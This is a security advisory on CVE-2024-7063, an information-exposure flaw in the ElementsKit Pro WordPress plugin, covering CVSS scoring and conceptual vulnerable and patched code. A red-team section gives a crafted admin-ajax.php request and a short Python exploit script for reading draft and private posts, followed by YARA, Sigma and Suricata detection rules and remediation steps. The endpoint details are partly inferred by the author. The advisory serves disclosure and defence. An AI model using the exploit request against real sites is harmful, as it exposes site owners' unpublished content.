CVE-2024-7063

Executive Summary

CVE-2024-7063 is a Sensitive Information Exposure vulnerability in the WordPress plugin ElementsKit Pro (versions up to and including 3.6.6). The flaw resides in the render_raw function, which fails to properly restrict access to post data. An authenticated attacker with at least Contributor-level permissions can exploit this to extract sensitive information from private, future, and draft posts. This is a WordPress ecosystem issue, not related to the underlying web server software.

The vulnerability has a CVSS score of 4.3 (Medium) and a very low EPSS score (0.0%), indicating it is not currently being actively exploited in the wild. However, the lack of a confirmed patch and the potential for data leakage make it a significant concern for sites using the plugin.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress plugin distributed via the Envato Market and the plugin's own update system. There is no NPM, PyPI, Go, or Ruby package involved. The risk is introduced through the plugin's codebase, which is not open-source, making independent verification of patches difficult.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - The attacker needs a Contributor-level account or higher.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): None (N) - No data modification is possible.
• Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the ability to leak unpublished content (drafts, future posts) can have severe business and reputational consequences.

Deep Dive & Mechanics

The vulnerability is located in the render_raw function of the ElementsKit Pro plugin. This function is likely used for server-side rendering of template parts or dynamic content. The flaw is that it does not properly check the post status before rendering content.

In WordPress, posts have a post_status field (e.g., publish, draft, future, private). The render_raw function appears to bypass the standard WordPress access controls (current_user_can checks) that would normally prevent a Contributor from viewing drafts or private posts authored by other users.

An attacker with Contributor-level access can craft a request to the render_raw endpoint, specifying the ID of a post they should not have access to. The function then returns the raw content of that post, including its title, body, and metadata.

Vulnerable vs. Patched Code

Since the plugin is proprietary (Pro version), the exact source code is not publicly available. However, based on the vulnerability description, we can infer the vulnerable pattern.

Vulnerable Code (Conceptual):

function render_raw( $post_id ) {
    $post = get_post( $post_id );
    // Missing capability check
    return $post->post_content;
}

Patched Code (Conceptual):

function render_raw( $post_id ) {
    $post = get_post( $post_id );
    if ( ! current_user_can( 'read_post', $post_id ) ) {
        wp_die( 'Unauthorized' );
    }
    return $post->post_content;
}

The patch would add a capability check using current_user_can('read_post', $post_id) or a similar WordPress function to ensure the user has permission to view the specific post.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with ElementsKit Pro version <= 3.6.6 installed and activated.
• A user account with at least Contributor-level permissions.
• Knowledge of the target post IDs (can be enumerated).

Exploitation Steps:

1. Authenticate: Log in to the WordPress site as a Contributor.
2. Identify Target: Use a tool like WPScan or manual enumeration to find post IDs of private, draft, or future posts. For example, you might find a draft post with ID 123.
3. Craft Request: Send a POST request to the vulnerable endpoint. The exact endpoint may vary, but it is likely an AJAX action or REST API endpoint. A typical request might look like:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_...

action=elementskit_render_raw&post_id=123

4. Extract Data: The response will contain the raw content of the post, including any sensitive information.

Automated Exploit (Python):

import requests

target_url = "https://target-site.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_...": "your_cookie_value"}

data = {
    "action": "elementskit_render_raw",
    "post_id": 123
}

response = requests.post(target_url, data=data, cookies=cookies)
print(response.text)

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with the action parameter set to elementskit_render_raw.
• Look for requests from Contributor-level users that attempt to access post IDs that are not published.
• Analyze server logs for 403 errors followed by successful 200 responses to the same endpoint.

Prevention:

• Immediate: Disable the ElementsKit Pro plugin until a patch is available.
• Workaround: Implement a custom WordPress filter or mu-plugin to add capability checks to the vulnerable function.
• Long-term: Apply the official patch from the vendor as soon as it is released.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=elementskit_render_raw.
  • Unusual volume of requests to admin-ajax.php from a single authenticated user.
• Host:
  • WordPress debug logs showing errors related to the render_raw function.
  • Database queries showing rapid access to wp_posts table for non-published posts.
• File:
  • Modified or suspicious files in /wp-content/plugins/elementskit-pro/.

Detection Engineering

YARA Rule

rule Detect_ElementsKit_Pro_Info_Leak {
    meta:
        description = "Detects exploitation attempts of CVE-2024-7063 in ElementsKit Pro"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-7063"
    strings:
        $ajax_action = "elementskit_render_raw"
        $post_id_param = "post_id="
    condition:
        $ajax_action and $post_id_param
}

Sigma Rule

title: CVE-2024-7063 - ElementsKit Pro Sensitive Information Exposure
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-7063
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=elementskit_render_raw'
    condition: selection
falsepositives:
    - Legitimate use by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7063 - ElementsKit Pro Info Leak"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementskit_render_raw"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the ElementsKit Pro plugin until a patched version is released.
2. Vendor Contact: Monitor the official ElementsKit changelog and support channels for a security update.
3. Workaround: Implement a custom WordPress plugin or mu-plugin that hooks into the vulnerable function and adds a capability check.
4. User Audit: Review all Contributor-level accounts and ensure they are necessary. Consider downgrading permissions where possible.
5. Monitoring: Implement the detection rules provided above to identify any exploitation attempts.

Valters IT - Securing Your Digital Frontier.